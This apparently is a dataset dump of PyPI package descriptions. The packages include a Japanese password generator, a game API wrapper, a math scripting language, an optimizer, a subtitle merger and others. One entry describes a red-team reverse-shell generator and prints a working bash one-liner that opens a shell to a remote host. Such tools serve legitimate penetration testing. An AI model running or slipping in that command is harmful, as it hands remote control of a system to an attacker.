semvec/pypi-packages huggingface dataset:
zkpwgen 1.0
Generate random passwords of full-width Japanese characters
Keywords: password generator full-width japanese

zkpwgen
=========
A tool for generating random passwords consisting of full-width Japanese and
Roman characters.

By default, generated passwords are intended to be easy to input on mobile
devices with a single conversion: a password contains *either* Hiragana or
Katakana, but not both. Same goes for upper- and lower-case Roman letters.

zkpwgen was heavily inspired by `pwgen <https://github.com/tytso/pwgen>`__. The
name is derived from *zenkaku* (全角, "full-width") *pwgen*.

Usage
=====
Example output::

    $ zkpwgen
    ギエカヘゴダピＯ ぁらみｘま８ぞｖ りかぱ２ゃｆょ８ モラ３ボ８メ１ズ
    メプヂＣゲペ６バ ゃ０ぉふ３ゅあ７ だ８へろＤせなＨ ジｂゲヒミカ４ツ
    ぅもふ２ゆｋけｓ ぢぁち６ぃへつＭ ヂ２ＦェＧサメベ ばそ８さＮてＧぼ
    ぎゆ８まほ５ｊば ぁぉばぱＨまＫず アｆベｕヒチゼｐ ヘテ４ラｖァ３ズ
    ノギＰガイルヅド ぜもぁ３あＧそＦ むどｇぽりｂてｇ ワモラセｅヒゴｈ
    ラＬモ５Ｌヨリ４ くぷあＤろ２ぐＨ ミ８ェジミマァテ よｂまｅぶはｌめ
    グ７ウィズスＰラ ば０ぶＯご２ゃた プ３ゴ７ョ１ュャ へ５ｃゎぽげ１が
    ぃＩするふどもＩ セテァプスキＮフ ス８ｍオ５ノ６ｇ ぜｕじ１ぇぎ０ｋ
    ぽだＯけれくＤぐ ッＯタ５ブゴ２ゾ ヮビワジ６フェｐ オダュ６Ｊベゼ６
    ゼＥナ４Ｏル３ュ ゥニヌ３ボヮャヲ て７ごしぺ８ぷけ つ７っ６Ａことゎ
    マリ５Ａレ８Ｐサ おみｗけ４ゎてｉ エ２サ８モエｆク どぅｇて４ｎぶ０
    まこさ４Ｉぜぺど ぷｔちひｓえぅげ ドｅゾ２ソヨｆニ トｘゲ０ノヒヌ０
    ゾグラ８ｋエユｔ だ３せ３ひ８ｙぞ マシクサヘコ６メ ばふさＨけじ７Ｈ
    チゼｊフメ４ｐオ リニｈクォ０ヒヌ ホベレ３ゲザＬア けｌぶ４ｒぐゃ８
    ァ４フ６ヒスズ０ ぎ７ゅＢと６こ７ ギ８エｐスｎムｏ フｒタｉツｎノ５
    へｎっｆゆｐぽり にＨう７ＥすＩく へｔめ８も８ｏぇ ぶぺぺ０ＩにろＥ
    らぬ６そ８ｍまゃ ぐ２れ７ｙぎあｔ し６な３ほ３Ｄす ヌＨトＯヘ１Ａツ
    ぐぐらぇは１ざ１ なっ４おぃ４う１ ぶぉ６ぷｒろ４い けＮぼよそへぃ６
    へげず６ゎべ５ゃ だ０ぴ０つ４だ７ ドセゴ４ネゥ７Ｅ うつゎ５Ｉうので
    ハ５ベケイ１Ｍス ォニケクポＤフズ ャＢホミ４シ２ル グッソ２ＨハボＤ

Invoke as :code:`zkpwgen -h` for help.

Quick Install
=============
This package is not on PyPI, so install with::

    pip install git+https://github.com/amake/zkpwgen.git

License
=======
zkpwgen is distributed under the `GPLv2 license <LICENSE>`__.
astrotraders 1.0.2
A typed, handwrited and powerful spacetraders API wrapper
Requires Python: >=3.10,<4.0
Keywords: spacetraders,spacetraders.io

# astrotraders

A typed, handwrited and powerful library for spacetraders.io game.

SpaceTraders is an API-based game where you acquire and manage a fleet of ships to explore, trade, and fight your way across the galaxy.

This client based on [HTTPX](https://www.python-httpx.org/) and [Pydantic](https://docs.pydantic.dev/latest/).

## Install
```
pip install astrotraders
```

## Usage

Currently, you can use API wrapper which  represented by `AstroTradersClient` class:

```python
from astrotraders import AstroTradersClient
client = AstroTradersClient.set_up(
    "token_here",
)
```

After initializing client you can use API resources, for example:

```python
agent = client.agents.info()
systems = client.systems.list()
contracts = client.contracts.list()
factions = client.factions.list()
# you can use undocumented endpoints!
stats = client.server.stats()
universe = client.systems.all()
```

## TODO
1. "Game objects" with data caching and more pythonic usage
2. CLI tool for manage fleet (and as example)
cynthia-language 0.1.3
Cynthia is a small interpreted script language for basic mathematical expressions.
Requires Python: >=3.11

# Cynthia script language

Cynthia is a small interpreted script language for basic mathematical expressions written in python.

## The language currently supports:

 - the four fundamental operations of arithmetic (**addition**, **subtraction**, **multiplication**, **division**)
 - **parentheses** which can modify the order of operations.
 - **variables** and **variable assignments**
 - a number of **built-in** functions


## Built-in functions:

### `min(*args) -> number`

Returns the minimum value of the arguments.


### `max(*args) -> number`

Returns the maximum value of the arguments.

### `print(*args)`

Prints the arguments to the standard output.


# Installation

`pip install cynthia-language`

# Usage

## shell enviroment

Cynthia language can be run in a **shell enviroment** where each expression
will be evaluated and printed out to the standard output.

```
$: python -m cynthia
cynthia> 3 * (5 + 2) / 4
5.25
cynthia> x = 3 * 3
cynthia> 4 * x - 5
31
```

## executing `.cynthia` files

Cynthia language code can be written in `.cynthia` files:

```
# example.cynthia file

# you can write comments
a = 1
b = 2
c = a + b * 3

result = min(a, b, c)

print(result)
```

Which can be executed with the interpreter:

`python -m cynthia example.cynthia`

# CFG for the syntax

```
program
    : statement_list EOF
    ;

statement_list
    : statement
    | statement EOL statement_list
    ;

statement
    : assignment_statement
    | expr
    | EMPTY
    ;

assignment_statement
    : VARIABLE ASSIGN expr
    ;

expr
    : term
    | term PLUS expr
    | term MINUS expr
    :

term
    : factor
    | factor MUL term
    | factor DIV term
    ;

factor
    : NUMBER
    | VARIABLE
    | L_PAREN expr R_PAREN
    | PLUS expr
    | MINUS expr
    | function_call
    ;

function_call
    : ID L_PAREN args R_PAREN
    ;

args
    : expr
    | expr COMMA args
    ;
```

# Use the language tools directly

Language tools can be used directly.

```
from cynthia.tools import Interpreter

interpreter = Interpreter()
interpreter.interpret('x=1+2')

interpreter['x']
# 3
```
revshell-generator 1.0.12
Reverse shell commands generator
Requires Python: >=3.6, <4
Keywords: pentest,red-team,shell

# General Information

https://pypi.org/project/revshell-generator/

The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.

# Installation

You can either clone the repository or install the package from PyPI.

Clone the repository:

```bash
apt install python3 python3-pip
git clone https://github.com/totekuh/reverse-shell-generator
cd reverse-shell-generator
pip3 install .
python3 revshellgenerator.py -h
```

PyPI:
```bash
sudo apt install python3 python3-pip
sudo pip3 install revshell-generator
revshell-generator -h
```

# Usage

You can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.



### Running the Reverse Shell Generator

```bash
$ revshell-generator
Welcome to the reverse shell generator. Type 'help' or '?' to list available commands.
```

### Setting Reverse IP Address and Port

```bash
revshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash
```

You can also specify the IP address by providing a network interface name:

```bash
revshell-generator --ip eth0 --port 8080 --shell /bin/bash
```

In interactive mode, you can set these parameters using the ip, port, and shell commands:

```bash
>> ip 192.168.1.10
>> port 8080
>> shell /bin/bash
```

### Listing Available Reverse Shell Commands

```bash
>> list reverse
```

*Note: the indexes are used while choosing the command template.*

### Listing Available Listener Commands

```bash
>> list listeners
```

### Generating Reverse Shell Commands

```bash
$ python3 revshellgenerator.py
>> get reverse 0
```

The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:

```bash
bash -i >& /dev/tcp/192.168.1.10/8080 0>&1
```

### Generating Listener Commands

```bash
>> get listeners 10
```

For more detailed instructions and specific commands, use the 'help' command followed by the command name, such as `help list` or `help get`.
adamr 0.0.2
Adam with weight recovery optimizer for pytorch
Requires Python: >=3.10

# AdamR
Adam with weight Recovery optimizer

## TL;DR
AdamW tends to decay parameters towards zero, which makes the model "forget" the pretrained parameters during finetuning. Instead, AdamWR tries to recover parameters towards pretrained values during finetuning.

## Have a try
Just like other PyTorch optimizers,

 ``` pyhon
from adamr import AdamR
from xxx import SomeModel, SomeData, SomeDevice, SomeLoss

model = SomeModel()
dataloader = SomeData()
model.to(SomeDevice)

adamr = AdamR(
    model.parameters(),
    lr=1e-5,
    betas=(0.9, 0.998), # Adam's beta parameters
    eps=1e-8,
    weight_recovery=0.1
    )

loss_fn = SomeLoss()

for x, y in dataloader:
    adamwr.zero_grad()
    y_bar = model(x)
    loss = loss_fn(y_bar, y)
    loss.backward()
    adamr.step()
 ```

 ## Algorithm
 TODO: improve the readability

 Here is a paper snippet:
![image](images/adamwr_algorithm.png)
asyncio-task-logger 0.0.2
Allows logging on long running tasks that throw an exception but are still loaded into memory
Requires Python: >=3.7

# asyncio-task-logger
Allows logging on long-running tasks that throw an exception but are still loaded into memory. By default, a task's future doesn't spit out exceptions until it gets garbage collected or completed. This is a problem for long-running tasks.

# Where this code came from
This solution was created by [Quantlane](https://github.com/qntln "Quantlane on GitHub"), but as they didn't seem to be hosting it on PyPI and it would be convenient for me (and probably others) to have it on PyPI, I created this package.

[Link to the original article on Quantlane's website](https://quantlane.com/blog/ensure-asyncio-task-exceptions-get-logged/)
submerger 2023.5.13
Subtitle merging tool
Requires Python: >=3.10

# Submerger

Watching movies in a foreign language with dual subtitles is a good way to learn that language. However, most of the subtitles are in a single language. This project aims to overcome that barrier by providing the functionality to create dual subtitles by merging two separate subtitle files.

<div align="center">
  <img src="images/dualsub_example.png" alt="Dualsubtitle example">
</div>

## System requirements

Python >= 3.10

## Install
```bash
pip install submerger
```

### Install for development
You have to include `$HOME/.local/bin` to your `$PATH`. Simply add `export PATH="$HOME/.local/bin:$PATH"` to `.bashrc`.

```bash
pip install --prefix=$(python -m site --user-base) --editable .
```

NOTE: `--prefix=$(python3 -m site --user-base)` is a workaround for a known [`setuptools` issue](https://github.com/pypa/setuptools/issues/3063)

## Usage

### Merge two .srt files
```bash
submerge --subtitles subtitle1.srt subtitle2.srt --output dualsub.srt
```

### Create a dual subtitles by extracting embedded subtitles from a video file
```bash
submerge --video video.mkv --language eng ger --output dualsub.srt
```

### Merge subtitles for all videos in a directory
```bash
submerge --global --language eng ger --directory path/to/series
```

### Check for available subtitles
```bash
ffprobe -loglevel error -print_format json video.mkv -print_format json -show_entries "stream=index:stream_tags=language" -select_streams s
```

## Testing

### Run unit tests
```bash
python scripts/run_tests.py --unit
```

### Run integration tests
```bash
python scripts/run_tests.py --integration
```

### Run lint tests
```bash
python scripts/run_tests.py --lint
```

### Or run periodically with `watch`
```bash
watch python scripts/run_tests.py --all
```

## License
[GPLv3](https://choosealicense.com/licenses/gpl-3.0/)
dufuz 0.1.4
Discrete numeric fuzzy sets in Python algorithms.


# DUFuz
Incorporating discrete numeric fuzzy sets in Python algorithms.
These sets are more general than fuzzy numbers.

**Dependencies**: `numpy`, `torch`, `matplotlib`, `ply`<br>
**Contact**: Manios Krasanakis (maniospas@hotmail.com)<br>
**License**: Apache 2<br>
<br>
Documentation in the [github](https://github.com/maniospas/dufuz) page.